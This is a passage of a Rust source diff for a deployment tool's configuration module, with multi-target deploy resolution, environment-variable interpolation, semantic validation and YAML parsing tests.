!value.is_empty()) { + if self.targets.contains_key(requested_name) { + return Ok(requested_name.to_string()); + } + + return Err(CliError::ConfigValidation(format!( + "Unknown deploy target profile '{}'. Available targets: {}", + requested_name, + self.targets.keys().cloned().collect::>().join(", ") + ))); + } + + if let Some(default_target) = self + .default_target + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + { + if self.targets.contains_key(default_target) { + return Ok(default_target.to_string()); + } + + return Err(CliError::ConfigValidation(format!( + "deploy.default_target '{}' does not match any entry in deploy.targets", + default_target + ))); + } + + if self.targets.len() == 1 { + return Ok(self + .targets + .keys() + .next() + .expect("single target must have a name") + .clone()); + } + + Err(CliError::ConfigValidation( + "deploy.default_target is required when deploy.targets defines multiple entries" + .to_string(), + )) + } + + pub fn resolve(&self, requested: Option<&str>) -> Result { + if !self.uses_named_targets() { + let mut resolved = self.clone(); + if let Some(target_name) = requested.map(str::trim).filter(|value| !value.is_empty()) { + resolved.target = Self::parse_legacy_target_override(target_name)?; + } + return Ok(resolved); + } + + let profile_name = self.resolve_named_target_name(requested)?; + let profile = self.targets.get(&profile_name).expect("target exists"); + let inferred_target = profile.inferred_target(&profile_name)?; + + Ok(DeployConfig { + target: inferred_target, + environment: profile + .environment + .clone() + .or_else(|| self.environment.clone()), + compose_file: profile.compose_file.clone(), + deployment_hash: profile.deployment_hash.clone(), + cloud: profile.cloud.clone(), + server: profile.server.clone(), + registry: profile.registry.clone(), + default_target: self.default_target.clone(), + targets: self.targets.clone(), + }) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct EnvironmentConfig { + #[serde(default)] + pub compose_file: Option, + + #[serde(default)] + pub env_file: Option, +} + +/// Cloud provider settings for cloud deployments. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CloudConfig { + pub provider: CloudProvider, + + #[serde(default)] + pub orchestrator: CloudOrchestrator, + + #[serde(default)] + pub region: Option, + + #[serde(default)] + pub size: Option, + + #[serde(default)] + pub install_image: Option, + + #[serde(default)] + pub remote_payload_file: Option, + + #[serde(default)] + pub ssh_key: Option, + + /// Name of saved cloud credential on the Stacker server. + /// Used with `stacker deploy --key devops` or `deploy.cloud.key: devops` in stacker.yml. + /// When set, the CLI looks up saved credentials by provider instead of requiring env vars. + #[serde(default)] + pub key: Option, + + /// Name of a saved server on the Stacker server. + /// Used with `stacker deploy --server bastion` or `deploy.cloud.server: bastion` in stacker.yml. + /// When set, the CLI passes the server_id to the deploy form so it is reused. + #[serde(default)] + pub server: Option, +} + +/// Remote server settings for server deployments. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ServerConfig { + pub host: String, + + #[serde(default = "default_ssh_user")] + pub user: String, + + #[serde(default)] + pub ssh_key: Option, + + #[serde(default = "default_ssh_port")] + pub port: u16, +} + +fn default_ssh_user() -> String { + "root".to_string() +} + +fn default_ssh_port() -> u16 { + 22 +} + +/// Default AI request timeout in seconds. +fn default_ai_timeout() -> u64 { + 300 +} + +/// AI/LLM assistant configuration. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct AiConfig { + #[serde(default)] + pub enabled: bool, + + #[serde(default)] + pub provider: AiProviderType, + + #[serde(default)] + pub model: Option, + + #[serde(default)] + pub api_key: Option, + + #[serde(default)] + pub endpoint: Option, + + /// Request timeout in seconds. Default: 300 (5 minutes). + /// Can be overridden via `STACKER_AI_TIMEOUT` env var. + #[serde(default = "default_ai_timeout")] + pub timeout: u64, + + #[serde(default)] + pub tasks: Vec, +} + +/// Monitoring and health check configuration. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct MonitoringConfig { + #[serde(default)] + pub status_panel: bool, + + #[serde(default)] + pub healthcheck: Option, + + #[serde(default)] + pub metrics: Option, +} + +/// Healthcheck settings. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct HealthcheckConfig { + #[serde(default = "default_health_endpoint")] + pub endpoint: String, + + #[serde(default = "default_health_interval")] + pub interval: String, +} + +fn default_health_endpoint() -> String { + "/health".to_string() +} + +fn default_health_interval() -> String { + "30s".to_string() +} + +/// Metrics collection settings. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct MetricsConfig { + #[serde(default)] + pub enabled: bool, + + #[serde(default)] + pub telegraf: bool, +} + +/// Lifecycle hook commands. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct HookConfig { + #[serde(default)] + pub pre_build: Option, + + #[serde(default)] + pub post_deploy: Option, + + #[serde(default)] + pub on_failure: Option, +} + +/// Project identity metadata. +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct ProjectConfig { + /// Registered User Service identity used as remote deploy payload `stack_code`. + #[serde(default)] + pub identity: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct ConfigContract { + #[serde(default)] + pub services: BTreeMap, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +pub struct TargetConfigContract { + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub required: Vec, + + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub optional: Vec, + + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub secret: Vec, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// StackerConfig — the root configuration type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, Default, Validate)] +pub struct StackerConfig { + #[validate(min_length = 1)] + #[validate(max_length = 128)] + pub name: String, + + #[serde(default)] + pub version: Option, + + #[serde(default)] + pub organization: Option, + + #[serde(default)] + pub project: ProjectConfig, + + #[serde(default)] + pub app: AppSource, + + #[serde(default, deserialize_with = "deserialize_services")] + pub services: Vec, + + #[serde(default)] + pub proxy: ProxyConfig, + + #[serde(default)] + pub deploy: DeployConfig, + + #[serde(default)] + pub environments: BTreeMap, + + #[serde(default)] + pub ai: AiConfig, + + #[serde(default, alias = "monitors")] + pub monitoring: MonitoringConfig, + + #[serde(default)] + pub hooks: HookConfig, + + #[serde(default)] + pub env_file: Option, + + #[serde(default)] + pub env: HashMap, + + #[serde(default)] + pub config_contract: ConfigContract, +} + +impl StackerConfig { + /// Load config from a file path, resolving `${VAR}` environment variable + /// references and validating the result. + /// + /// Use this when you need the **resolved** values (e.g. for deployment, + /// validation, or sending to the server). If you plan to mutate the + /// config and write it back to disk, use [`from_file_raw`] instead so + /// that `${VAR}` placeholders are preserved. + pub fn from_file(path: &Path) -> Result { + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: path.to_path_buf(), + }); + } + + let raw_content = std::fs::read_to_string(path)?; + let mut parsed: serde_yaml::Value = serde_yaml::from_str(&raw_content)?; + let env_file_vars = load_env_file_vars_from_yaml(path, &raw_content); + resolve_env_placeholders_in_value(&mut parsed, &env_file_vars)?; + deserialize_config_value(parsed) + } + + /// Load config from a file path **without** resolving `${VAR}` placeholders. + /// + /// Use this when you need to modify the config and write it back to disk + /// (e.g. `stacker service add`, `stacker config fix`). The `${VAR}` + /// references are kept as-is so they are not replaced with sensitive + /// values when the file is serialized back. + pub fn from_file_raw(path: &Path) -> Result { + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: path.to_path_buf(), + }); + } + + let raw_content = std::fs::read_to_string(path)?; + let parsed: serde_yaml::Value = serde_yaml::from_str(&raw_content)?; + deserialize_config_value(parsed) + } + + /// Load config from a YAML string (useful for tests). + pub fn from_str(yaml: &str) -> Result { + let mut parsed: serde_yaml::Value = serde_yaml::from_str(yaml)?; + resolve_env_placeholders_in_value(&mut parsed, &HashMap::new())?; + deserialize_config_value(parsed) + } + + /// Return a cloned config with `deploy` flattened to one selected target. + /// + /// Legacy configs keep working as before. Multi-target configs resolve one + /// named profile into the existing single-target fields. + pub fn with_resolved_deploy_target(&self, requested: Option<&str>) -> Result { + let mut config = self.clone(); + config.deploy = self.deploy.resolve(requested)?; + Ok(config) + } + + pub fn selected_environment(&self, override_environment: Option<&str>) -> Option { + override_environment + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(ToOwned::to_owned) + .or_else(|| self.deploy.environment.clone()) + } + + pub fn resolve_environment_config( + &self, + override_environment: Option<&str>, + ) -> Result, CliError> { + let Some(environment) = self.selected_environment(override_environment) else { + return Ok(None); + }; + + let configured = self.environments.get(&environment).cloned(); + let compose_file = configured + .as_ref() + .and_then(|config| config.compose_file.clone()) + .or_else(|| self.deploy.compose_file.clone()) + .or_else(|| Some(PathBuf::from(format!("docker/{environment}/compose.yml")))); + let env_file = configured + .as_ref() + .and_then(|config| config.env_file.clone()) + .or_else(|| self.env_file.clone()); + + Ok(Some(( + environment, + EnvironmentConfig { + compose_file, + env_file, + }, + ))) + } + + /// Validate cross-field semantic constraints beyond serde deserialization. + /// Returns a list of issues (errors, warnings, info). + pub fn validate_semantics(&self) -> Vec { + let mut issues = Vec::new(); + + if self.deploy.uses_named_targets() { + if self.deploy.targets.len() > 1 + && self + .deploy + .default_target + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + .is_none() + { + issues.push(ValidationIssue { + severity: Severity::Error, + code: "E004".to_string(), + message: "deploy.default_target is required when deploy.targets defines multiple entries".to_string(), + field: Some("deploy.default_target".to_string()), + }); + } + + if let Some(default_target) = self + .deploy + .default_target + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + { + if !self.deploy.targets.contains_key(default_target) { + issues.push(ValidationIssue { + severity: Severity::Error, + code: "E005".to_string(), + message: format!( + "deploy.default_target '{}' does not match any entry in deploy.targets", + default_target + ), + field: Some("deploy.default_target".to_string()), + }); + } + } + + for (name, profile) in &self.deploy.targets { + let field_prefix = format!("deploy.targets.{name}"); + match profile.inferred_target(name) { + Ok(target) => { + let deploy = DeployConfig { + target, + environment: profile.environment.clone(), + compose_file: profile.compose_file.clone(), + deployment_hash: profile.deployment_hash.clone(), + cloud: profile.cloud.clone(), + server: profile.server.clone(), + registry: profile.registry.clone(), + default_target: None, + targets: BTreeMap::new(), + }; + validate_deploy_semantics( + &mut issues, + &self.project, + &deploy, + Some(field_prefix), + ); + } + Err(_) => issues.push(ValidationIssue { + severity: Severity::Error, + code: "E006".to_string(), + message: format!( + "deploy.targets.{name} cannot define both 'server' and 'cloud'" + ), + field: Some(field_prefix), + }), + } + } + } else { + validate_deploy_semantics( + &mut issues, + &self.project, + &self.deploy, + Some("deploy".into()), + ); + } + + // Custom app type with no image and no dockerfile + if self.app.app_type == AppType::Custom + && self.app.image.is_none() + && self.app.dockerfile.is_none() + { + issues.push(ValidationIssue { + severity: Severity::Error, + code: "E003".to_string(), + message: "Custom app type requires either 'image' or 'dockerfile'".to_string(), + field: Some("app".to_string()), + }); + } + + // Port conflict detection across services + let mut port_map: HashMap> = HashMap::new(); + for svc in &self.services { + for port_str in &svc.ports { + let host_port = extract_host_port(port_str); + port_map + .entry(host_port.clone()) + .or_default() + .push(svc.name.clone()); + } + } + for (port, services) in &port_map { + if services.len() > 1 { + issues.push(ValidationIssue { + severity: Severity::Warning, + code: "W001".to_string(), + message: format!( + "Port {} is used by multiple services: {}", + port, + services.join(", ") + ), + field: Some("services.ports".to_string()), + }); + } + } + + issues + } +} + +fn deserialize_config_value(parsed: serde_yaml::Value) -> Result { + let rendered = serde_yaml::to_string(&parsed)?; + let deserializer = serde_yaml::Deserializer::from_str(&rendered); + + serde_path_to_error::deserialize::<_, StackerConfig>(deserializer).map_err(|err| { + let field_path = err.path().to_string(); + let source = err.into_inner(); + let message = format_config_parse_message(&field_path, &source); + CliError::ConfigParseFailed { + source: ::custom(message), + } + }) +} + +fn format_config_parse_message(field_path: &str, source: &serde_yaml::Error) -> String { + let source_message = source.to_string(); + let normalized_field = if field_path.is_empty() || field_path == "." { + None + } else { + Some(field_path) + }; + + if let Some(field) = normalized_field { + if source_message.contains("expected path string") { + let example = if field == "app.path" { + "`.` or `./app`" + } else { + "`./path/to/file`" + }; + + if source_message.contains("invalid type: unit value") { + return format!( + "invalid empty path at `{field}`. Remove the key or set it to a quoted path string like {example}" + ); + } + + return format!( + "invalid path at `{field}`. Expected a quoted path string like {example}. Original parser error: {source_message}" + ); + } + + return format!("invalid value at `{field}`: {source_message}"); + } + + source_message +} + +fn validate_deploy_semantics( + issues: &mut Vec, + project: &ProjectConfig, + deploy: &DeployConfig, + field_prefix: Option, +) { + let field = |suffix: &str| -> String { + match &field_prefix { + Some(prefix) => format!("{prefix}.{suffix}"), + None => suffix.to_string(), + } + }; + + if deploy.target == DeployTarget::Cloud && deploy.cloud.is_none() { + issues.push(ValidationIssue { + severity: Severity::Error, + code: "E001".to_string(), + message: "Cloud provider configuration is required for cloud deployment".to_string(), + field: Some(field("cloud.provider")), + }); + } + + if deploy.target == DeployTarget::Server && deploy.server.is_none() { + issues.push(ValidationIssue { + severity: Severity::Error, + code: "E002".to_string(), + message: "Server host is required for server deployment".to_string(), + field: Some(field("server.host")), + }); + } + + if deploy.target == DeployTarget::Cloud { + if let Some(cloud) = &deploy.cloud { + if cloud.orchestrator == CloudOrchestrator::Remote { + let identity_empty = project + .identity + .as_ref() + .map(|v| v.trim().is_empty()) + .unwrap_or(true); + + if identity_empty { + issues.push(ValidationIssue { + severity: Severity::Info, + code: "I001".to_string(), + message: "project.identity is not set; remote deploy will use default stack_code 'custom-stack'".to_string(), + field: Some("project.identity".to_string()), + }); + } + } + } + } +} + +fn load_env_file_vars_from_yaml(path: &Path, raw_content: &str) -> HashMap { + let parsed: serde_yaml::Value = match serde_yaml::from_str(raw_content) { + Ok(v) => v, + Err(_) => return HashMap::new(), + }; + + let env_file_value = parsed + .get("env_file") + .and_then(|v| v.as_str()) + .map(|s| s.trim()) + .filter(|s| !s.is_empty()); + + let env_file = match env_file_value { + Some(v) => v, + None => return HashMap::new(), + }; + + let config_dir = path.parent().unwrap_or_else(|| Path::new(".")); + let env_file_path = Path::new(env_file); + let resolved_path = if env_file_path.is_absolute() { + env_file_path.to_path_buf() + } else { + config_dir.join(env_file_path) + }; + + let content = match std::fs::read_to_string(&resolved_path) { + Ok(c) => c, + Err(_) => return HashMap::new(), + }; + + let mut vars = HashMap::new(); + for line in content.lines() { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + continue; + } + + if let Some((key, value)) = trimmed.split_once('=') { + let key = key.trim(); + if key.is_empty() { + continue; + } + + let mut value = value.trim().to_string(); + if (value.starts_with('"') && value.ends_with('"')) + || (value.starts_with('\'') && value.ends_with('\'')) + { + if value.len() >= 2 { + value = value[1..value.len() - 1].to_string(); + } + } + vars.insert(key.to_string(), value); + } + } + + vars +} + +/// Extract the host port from a port mapping string like "8080:80" → "8080". +fn extract_host_port(port_str: &str) -> String { + port_str.split(':').next().unwrap_or(port_str).to_string() +} + +/// Resolve `${VAR_NAME}` references in a string using process environment. +#[allow(dead_code)] +fn resolve_env_vars(content: &str) -> Result { + resolve_env_vars_with_fallback(content, &HashMap::new()) +} + +fn resolve_env_placeholders_in_value( + value: &mut serde_yaml::Value, + fallback_vars: &HashMap, +) -> Result<(), CliError> { + match value { + serde_yaml::Value::String(raw) => { + let resolved = resolve_env_vars_with_fallback(raw, fallback_vars)?; + *raw = resolved; + } + serde_yaml::Value::Sequence(items) => { + for item in items.iter_mut() { + resolve_env_placeholders_in_value(item, fallback_vars)?; + } + } + serde_yaml::Value::Mapping(map) => { + for (_key, map_value) in map.iter_mut() { + resolve_env_placeholders_in_value(map_value, fallback_vars)?; + } + } + _ => {} + } + + Ok(()) +} + +fn resolve_env_vars_with_fallback( + content: &str, + fallback_vars: &HashMap, +) -> Result { + let mut result = content.to_string(); + let re = regex::Regex::new(r"\$\{([^}]+)\}").expect("valid regex"); + + // Collect all matches first to avoid borrow issues + let captures: Vec<(String, String)> = re + .captures_iter(content) + .map(|cap| { + let full_match = cap[0].to_string(); + let var_name = cap[1].to_string(); + (full_match, var_name) + }) + .collect(); + + for (full_match, var_name) in captures { + let value = + match std::env::var(&var_name) { + Ok(v) => v, + Err(_) => fallback_vars.get(&var_name).cloned().ok_or_else(|| { + CliError::EnvVarNotFound { + var_name: var_name.clone(), + } + })?, + }; + result = result.replace(&full_match, &value); + } + + Ok(result) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ConfigBuilder — fluent builder for programmatic construction +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Default)] +pub struct ConfigBuilder { + name: Option, + version: Option, + organization: Option, + project_identity: Option, + app_type: Option, + app_path: Option, + app_image: Option, + app_dockerfile: Option, + build_args: HashMap, + services: Vec, + proxy: Option, + deploy_target: Option, + cloud: Option, + server: Option, + registry: Option, + ai: Option, + monitoring: Option, + hooks: Option, + env: HashMap, + env_file: Option, +} + +impl ConfigBuilder { + pub fn new() -> Self { + Self::default() + } + + pub fn name>(mut self, name: S) -> Self { + self.name = Some(name.into()); + self + } + + pub fn version>(mut self, version: S) -> Self { + self.version = Some(version.into()); + self + } + + pub fn organization>(mut self, org: S) -> Self { + self.organization = Some(org.into()); + self + } + + pub fn project_identity>(mut self, identity: S) -> Self { + self.project_identity = Some(identity.into()); + self + } + + pub fn app_type(mut self, app_type: AppType) -> Self { + self.app_type = Some(app_type); + self + } + + pub fn app_path>(mut self, path: P) -> Self { + self.app_path = Some(path.into()); + self + } + + pub fn app_image>(mut self, image: S) -> Self { + self.app_image = Some(image.into()); + self + } + + pub fn app_dockerfile>(mut self, path: P) -> Self { + self.app_dockerfile = Some(path.into()); + self + } + + pub fn build_arg, V: Into>(mut self, key: K, value: V) -> Self { + self.build_args.insert(key.into(), value.into()); + self + } + + pub fn add_service(mut self, service: ServiceDefinition) -> Self { + self.services.push(service); + self + } + + pub fn proxy(mut self, proxy: ProxyConfig) -> Self { + self.proxy = Some(proxy); + self + } + + pub fn deploy_target(mut self, target: DeployTarget) -> Self { + self.deploy_target = Some(target); + self + } + + pub fn cloud(mut self, cloud: CloudConfig) -> Self { + self.cloud = Some(cloud); + self + } + + pub fn server(mut self, server: ServerConfig) -> Self { + self.server = Some(server); + self + } + + pub fn registry(mut self, registry: RegistryConfig) -> Self { + self.registry = Some(registry); + self + } + + pub fn ai(mut self, ai: AiConfig) -> Self { + self.ai = Some(ai); + self + } + + pub fn monitoring(mut self, monitoring: MonitoringConfig) -> Self { + self.monitoring = Some(monitoring); + self + } + + pub fn hooks(mut self, hooks: HookConfig) -> Self { + self.hooks = Some(hooks); + self + } + + pub fn env, V: Into>(mut self, key: K, value: V) -> Self { + self.env.insert(key.into(), value.into()); + self + } + + pub fn env_file>(mut self, path: P) -> Self { + self.env_file = Some(path.into()); + self + } + + /// Consume the builder, validate required fields, and produce StackerConfig. + pub fn build(self) -> Result { + let name = self + .name + .ok_or_else(|| CliError::ConfigValidation("name is required".into()))?; + + let build_config = if self.build_args.is_empty() { + None + } else { + Some(BuildConfig { + context: ".".to_string(), + args: self.build_args, + }) + }; + + Ok(StackerConfig { + name, + version: self.version, + organization: self.organization, + project: ProjectConfig { + identity: self.project_identity, + }, + app: AppSource { + app_type: self.app_type.unwrap_or_default(), + path: self.app_path.unwrap_or_else(|| PathBuf::from(".")), + dockerfile: self.app_dockerfile, + image: self.app_image, + build: build_config, + ports: Vec::new(), + volumes: Vec::new(), + environment: HashMap::new(), + }, + services: self.services, + proxy: self.proxy.unwrap_or_default(), + deploy: DeployConfig { + target: self.deploy_target.unwrap_or_default(), + environment: None, + compose_file: None, + deployment_hash: None, + cloud: self.cloud, + server: self.server, + registry: self.registry, + default_target: None, + targets: BTreeMap::new(), + }, + environments: BTreeMap::new(), + ai: self.ai.unwrap_or_default(), + monitoring: self.monitoring.unwrap_or_default(), + hooks: self.hooks.unwrap_or_default(), + env_file: self.env_file, + env: self.env, + config_contract: ConfigContract::default(), + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests — Phase 1: Config parser + builder +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use std::env; + use std::fs; + use tempfile::TempDir; + + #[test] + fn test_parse_minimal_config() { + let yaml = r#" +name: my-site +app: + type: static + path: ./public +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.name, "my-site"); + assert_eq!(config.app.app_type, AppType::Static); + assert_eq!(config.app.path, PathBuf::from("./public")); + assert!(config.services.is_empty()); + assert_eq!(config.proxy.proxy_type, ProxyType::None); + assert_eq!(config.deploy.target, DeployTarget::Local); + assert!(!config.ai.enabled); + assert!(!config.monitoring.status_panel); + } + + #[test] + fn test_parse_full_config() { + let yaml = r#" +name: full-app +version: "2.0" +organization: test-org +app: + type: node + path: ./src + build: + context: . + args: + NODE_ENV: production +services: + - name: postgres + image: postgres:16 + ports: ["5432:5432"] + environment: + POSTGRES_DB: testdb + - name: redis + image: redis:7-alpine + ports: ["6379:6379"] +proxy: + type: nginx + domains: + - domain: test.example.com + ssl: auto + upstream: app:3000 +deploy: + target: local +ai: + enabled: true + provider: ollama + model: llama3 + endpoint: http://localhost:11434 + tasks: [dockerfile, troubleshoot] +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s +env: + APP_PORT: "3000" + LOG_LEVEL: debug +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.name, "full-app"); + assert_eq!(config.version, Some("2.0".to_string())); + assert_eq!(config.organization, Some("test-org".to_string())); + assert_eq!(config.app.app_type, AppType::Node); + assert_eq!(config.services.len(), 2); + assert_eq!(config.services[0].name, "postgres"); + assert_eq!(config.services[1].name, "redis"); + assert_eq!(config.proxy.proxy_type, ProxyType::Nginx); + assert_eq!(config.proxy.domains.len(), 1); + assert_eq!(config.proxy.domains[0].domain, "test.example.com"); + assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto); + assert!(config.ai.enabled); + assert_eq!(config.ai.provider, AiProviderType::Ollama); + assert!(config.monitoring.status_panel); + assert_eq!(config.env.get("APP_PORT").unwrap(), "3000"); + } + + #[test] + fn test_parse_multi_target_config_and_resolve_default() { + let yaml = r#" +name: multi-target-app +app: + type: static +deploy: + default_target: dev-server + targets: + local: + compose_file: docker/local/compose.yml + dev-server: + server: + host: 10.0.0.8 + user: deploy + ssh_key: ~/.ssh/id_ed25519 +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + assert!(config.deploy.uses_named_targets()); + assert_eq!(config.deploy.targets.len(), 2); + + let resolved = config.with_resolved_deploy_target(None).unwrap(); + assert_eq!(resolved.deploy.target, DeployTarget::Server); + assert!(resolved.deploy.environment.is_none()); + assert_eq!( + resolved + .deploy + .server + .as_ref() + .map(|server| server.host.as_str()), + Some("10.0.0.8") + ); + } + + #[test] + fn test_resolve_named_target_override() { + let yaml = r#" +name: multi-target-app +app: + type: static +deploy: + default_target: local + targets: + local: + compose_file: docker/local/compose.yml + prod: + cloud: + provider: aws +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + let resolved = config.with_resolved_deploy_target(Some("prod")).unwrap(); + + assert_eq!(resolved.deploy.target, DeployTarget::Cloud); + assert_eq!( + resolved.deploy.cloud.as_ref().map(|cloud| cloud.provider), + Some(CloudProvider::Aws) + ); + assert!(resolved.deploy.compose_file.is_none()); + } + + #[test] + fn test_parse_environment_config_and_default_selection() { + let yaml = r#" +name: environment-app +app: + type: static +deploy: + target: cloud + environment: production +environments: + production: + compose_file: docker/production/compose.yml + env_file: docker/production/.env +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.deploy.environment.as_deref(), Some("production")); + assert_eq!( + config + .environments + .get("production") + .and_then(|environment| environment.compose_file.as_ref()), + Some(&PathBuf::from("docker/production/compose.yml")) + ); + + let (environment, environment_config) = config + .resolve_environment_config(None) + .unwrap() + .expect("environment should resolve"); + assert_eq!(environment, "production"); + assert_eq!( + environment_config.compose_file, + Some(PathBuf::from("docker/production/compose.yml")) + ); + assert_eq!( + environment_config.env_file, + Some(PathBuf::from("docker/production/.env")) + ); + } + + #[test] + fn test_environment_override_uses_conventional_compose_path() { + let yaml = r#" +name: environment-app +app: + type: static +deploy: + target: cloud +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + let (environment, environment_config) = config + .resolve_environment_config(Some("staging")) + .unwrap() + .expect("environment should resolve"); + + assert_eq!(environment, "staging"); + assert_eq!( + environment_config.compose_file, + Some(PathBuf::from("docker/staging/compose.yml")) + ); + } + + #[test] + fn test_monitors_alias_for_monitoring() { + let yaml = r#" +name: monitors-alias-test +monitors: + status_panel: true + healthcheck: + endpoint: /healthz + interval: 10s +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert!(config.monitoring.status_panel); + assert!(config.monitoring.healthcheck.is_some()); + let hc = config.monitoring.healthcheck.unwrap(); + assert_eq!(hc.endpoint, "/healthz"); + assert_eq!(hc.interval, "10s"); + } + + #[test] + fn test_parse_env_var_interpolation() { + env::set_var("STACKER_TEST_DB_PASS", "secret123"); + let yaml = r#" +name: env-test +app: + type: static +env: + DB_PASSWORD: ${STACKER_TEST_DB_PASS} +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.env.get("DB_PASSWORD").unwrap(), "secret123"); + env::remove_var("STACKER_TEST_DB_PASS"); + } + + #[test] + fn test_parse_env_var_missing_returns_error() { + // Ensure the var definitely doesn't exist + env::remove_var("STACKER_TEST_NONEXISTENT_VAR_12345"); + let yaml = r#" +name: env-test +env: + KEY: ${STACKER_TEST_NONEXISTENT_VAR_12345} +"#; + let result = StackerConfig::from_str(yaml); + assert!(result.is_err()); + let err = result.unwrap_err(); + let msg = format!("{err}"); + assert!( + msg.contains("STACKER_TEST_NONEXISTENT_VAR_12345"), + "Expected var name in error: {msg}" + ); + } + + #[test] + fn test_from_str_ignores_env_placeholders_in_comments() { + let yaml = r#" +name: comment-test +app: + type: static +# DATABASE_URL: postgres://user:${STACKER_TEST_NONEXISTENT_VAR_54321}@db:5432/app +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.name, "comment-test"); + assert_eq!(config.app.app_type, AppType::Static); + } + + #[test] + fn test_from_file_resolves_env_from_env_file() { + let dir = TempDir::new().unwrap(); + fs::write(dir.path().join(".env"), "DOCKER_IMAGE=node:14-alpine\n").unwrap(); + + let yaml = r#" +name: env-file-test +env_file: .env +app: + type: custom + path: . + image: ${DOCKER_IMAGE} +deploy: + target: local +"#; + let config_path = dir.path().join("stacker.yml"); + fs::write(&config_path, yaml).unwrap(); + + let config = StackerConfig::from_file(&config_path).unwrap(); + assert_eq!(config.app.image.as_deref(), Some("node:14-alpine")); + } + + #[test] + fn test_parse_invalid_app_type_returns_error() { + let yaml = r#" +name: bad-type +app: + type: cobol +"#; + let result = StackerConfig::from_str(yaml); + assert!(result.is_err()); + } + + #[test] + fn test_parse_missing_name_returns_error() { + let yaml = r#" +app: + type: static +"#; + // name is a required field — serde fails deserialization if missing + let result = StackerConfig::from_str(yaml); + assert!(result.is_err()); + } + + #[test] + fn test_parse_services_array() { + let yaml = r#" +name: svc-test +services: + - name: postgres + image: postgres:16 + ports: ["5432:5432"] + - name: redis + image: redis:7-alpine + - name: minio + image: minio/minio + ports: ["9000:9000", "9001:9001"] +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.services.len(), 3); + assert_eq!(config.services[0].name, "postgres"); + assert_eq!(config.services[0].image, "postgres:16"); + assert_eq!(config.services[0].ports, vec!["5432:5432"]); + assert_eq!(config.services[2].name, "minio"); + assert_eq!(config.services[2].ports.len(), 2); + } + + #[test] + fn test_parse_services_map() { + let yaml = r#" +name: svc-map-test +services: + web: + name: web + image: nginx:alpine + ports: ["8080:80"] + redis: + name: redis + image: redis:7-alpine +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.services.len(), 2); + assert!(config + .services + .iter() + .any(|s| s.name == "web" && s.image == "nginx:alpine")); + assert!(config + .services + .iter() + .any(|s| s.name == "redis" && s.image == "redis:7-alpine")); + } + + #[test] + fn test_parse_services_map_infers_name_from_key() { + let yaml = r#" +name: svc-map-key-test +services: + web: + image: nginx:alpine + ports: ["8080:80"] +"#; + + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.services.len(), 1); + assert_eq!(config.services[0].name, "web"); + assert_eq!(config.services[0].image, "nginx:alpine"); + } + + #[test] + fn test_parse_proxy_domains() { + let yaml = r#" +name: proxy-test +proxy: + type: nginx + domains: + - domain: app.example.com + ssl: auto + upstream: app:3000 + - domain: api.example.com + ssl: off + upstream: app:8080 +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.proxy.proxy_type, ProxyType::Nginx); + assert_eq!(config.proxy.domains.len(), 2); + assert_eq!(config.proxy.domains[0].ssl, SslMode::Auto); + assert_eq!(config.proxy.domains[0].upstream, "app:3000"); + assert_eq!(config.proxy.domains[1].ssl, SslMode::Off); + } + + #[test] + fn test_parse_ai_section_with_ollama() { + let yaml = r#" +name: ai-test +ai: + enabled: true + provider: ollama + model: llama3 + endpoint: http://localhost:11434 + tasks: [dockerfile, compose] +"#; + let config = StackerConfig::from_str(yaml).unwrap(); + assert!(config.ai.enabled); + assert_eq!(config.ai.provider, AiProviderType::Ollama); + assert_eq!(config.ai.model, Some("llama3".to_string())); + assert_eq!( + config.ai.endpoint, + Some("http://localhost:11434".to_string()) + ); + assert_eq!(config.ai.tasks, vec!["dockerfile", "compose"]); + } + + #[test] + fn test_default_deploy_target_is_local() { + let yaml = "name: 